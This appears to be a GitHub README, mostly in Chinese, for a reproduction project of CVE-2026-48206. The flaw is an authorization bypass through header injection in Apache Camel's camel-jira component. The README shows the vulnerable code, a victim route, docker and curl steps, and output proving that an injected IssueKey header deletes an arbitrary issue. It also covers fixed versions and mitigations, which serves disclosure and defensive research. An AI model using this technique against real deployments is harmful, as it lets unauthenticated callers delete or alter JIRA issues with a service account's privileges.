oscerd/CVE-2026-48206
GitHub: oscerd/CVE-2026-48206
CVE-2026-48206 漏洞复现项目,演示 Apache Camel camel-jira 组件因非 Camel 前缀消息头未过滤而导致的越权 JIRA 操作漏洞。
Stars: 0 | Forks: 0
# camel-jira Header 注入复现项目 (CVE-2026-48206)
本项目演示了 Apache Camel 的 `camel-jira` 组件中的一个**消息头注入**漏洞,追踪编号为
**CVE-2026-48206**。生产者从 Exchange 消息头中读取其操作参数 —— 例如 issue key、project key、transition id、
summary、assignee 等。在 `JiraConstants` 中定义的 header 常量
(例如 `ISSUE_KEY = IssueKey`、`ISSUE_PROJECT_KEY = ProjectKey`、`ISSUE_TRANSITION_ID = IssueTransitionId`、
`LINK_TYPE = linkType`)使用了普通的、非 `Camel` 前缀的值。由于这些名称不以
`Camel` / `camel` 前缀开头,`HttpHeaderFilterStrategy` —— 它仅在 HTTP 边界屏蔽 Camel 的 header 命名空间 ——
使得它们能够直接从入站 HTTP 请求传入 Exchange。
在将 HTTP 消费者(例如 platform-http)桥接到 `jira:` 生产者的路由中,任何 HTTP 客户端都可以
提供这些 header 并**覆盖路由原本预期的值**,从而**使用 endpoint 配置的服务账号凭据**驱动 JIRA 操作
—— 例如删除或流转任意 issue(通过 `IssueKey` / `IssueTransitionId`)、在不同项目中创建 issue
(通过 `ProjectKey`)、修改字段,或添加/移除关注者。这些操作仅受限于
该服务账号被授予的权限。
此 PoC 将其影响演示为**通过用户控制的 key 绕过授权 (CWE-639)**:
攻击者注入 `IssueKey`,然后服务账号删除了调用者原本无权触碰的 issue。
安全公告:https://camel.apache.org/security/CVE-2026-48206.html
## 漏洞概述
| 属性 | 值 |
|----------|-------|
| **组件** | `camel-jira` |
| **受影响的类** | `org.apache.camel.component.jira.producer.*` 读取 `JiraConstants.ISSUE_KEY` (`"IssueKey"`)、`ISSUE_PROJECT_KEY` (`"ProjectKey"`) 等。 |
| **CWE** | CWE-20 (输入验证不恰当) / CWE-639 (通过用户控制的 key 绕过授权) |
| **影响** | 使用 endpoint 的服务账号凭据驱动任意 JIRA 操作(删除/流转/创建/修改) |
| **前置条件** | 路由将 HTTP 消费者桥接到 `jira:` 生产者;当消费者未经过身份验证时即为未授权状态 |
| **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| **修复版本** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23576 (PR [apache/camel#23417](https://github.com/apache/camel/pull/23417)) |
| **致谢** | Yu Bao (PayPal) |
## 技术细节
```
// JiraConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
String ISSUE_KEY = "IssueKey";
String ISSUE_PROJECT_KEY = "ProjectKey";
// DeleteIssueProducer.process (affected 4.18.2) — the target issue comes straight from the header:
String issueKey = exchange.getIn().getHeader(ISSUE_KEY, String.class); // attacker-controlled
...
IssueRestClient issueClient = client.getIssueClient();
issueClient.deleteIssue(issueKey, true); // deletes whatever issue the header names
```
修复方案(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23576)将这些值重命名为 `CamelJira*` 命名规范。
## 受害者路由
```
from("platform-http:/deleteMyDraft")
.choice().when(header("IssueKey").isNull())
.setHeader("IssueKey", constant("DRAFT-1")) // default: the caller's own draft
.end()
.to("jira:deleteIssue?jiraUrl=RAW(http://localhost:8080)&username=svc-account&password=svc-secret");
```
一个“删除我的草稿” endpoint 默认指向调用者自己的草稿,但接受显式指定的 `IssueKey`。
作者假设客户端无法选择 issue;攻击者设置了 `IssueKey`,然后高权限服务账号
将其删除。(`IssueKey` 是通过精确且不区分大小写的名称读取的,因此 servlet 容器的 header 小写化不会
影响它 —— 仅有 platform-http 就足够了。)
## 仓库布局
所有内容都在一个独立的 container 中运行:受害者路由、生产者调用的 mock JIRA REST API,
以及攻击者驱动程序。
```
CVE-2026-48206/
├── pom.xml # camel-platform-http + camel-jira 4.18.2 (Jersey pinned to 2.x, see note)
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MockJiraController.java # stand-in JIRA REST API; records which issue was deleted
│ ├── VictimRoute.java # platform-http:/deleteMyDraft -> jira:deleteIssue
│ └── ExploitController.java # attacker: injects IssueKey=PROD-999
└── resources/
└── application.properties
```
## 前置条件
- Docker 和 Docker Compose
- Java 17+ 和 Maven 3.8+
## 复现步骤
```
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### 预期输出
```
=== 1) Legitimate request (no IssueKey header) — deletes the caller's own draft ===
jira issue actually deleted: DRAFT-1
=== 2) Injected IssueKey=PROD-999 — deletes an arbitrary issue ===
jira issue actually deleted: PROD-999
authorization bypass: true
>>> Header-injection proof — an unauthenticated HTTP client made the service account delete an
>>> issue of its choosing by injecting the IssueKey header: true
```
## 攻击向量
任何将 HTTP 消费者桥接到 `jira:` 生产者的路由。可注入的 header 包括 `IssueKey`、
`ProjectKey`、`IssueTransitionId`、`IssueSummary`、`IssueAssignee`、`IssueComponents`、`IssueWatchersAdd`、
`linkType`、`minutesSpent` 等 —— 使用服务账号的权限驱动删除、流转、创建、更新、关注者和工作日志
操作。
## 推荐修复方案
升级至 **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23576)。升级后,通过 header 驱动 JIRA 操作的路由必须
使用 `CamelJira*` 名称(例如 `CamelJiraIssueKey`)。
## 缓解措施
在升级之前,请从 `jira:` 生产者之前的任何不可信入站流量中剥离 camel-jira 控制 header(例如
在路由开始处移除 `IssueKey`、`ProjectKey`、`IssueTransitionId` 及相关 header),并且
从可信来源设置所需的 JIRA 操作参数。
## 免责声明
此复现项目仅用于**安全研究和授权测试**,针对的是**已公开披露
且已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, HTTP请求头注入, JIRA集成, JS文件枚举, PoC, 域名枚举, 暴力破解, 漏洞复现, 版权保护, 请求拦截, 越权漏洞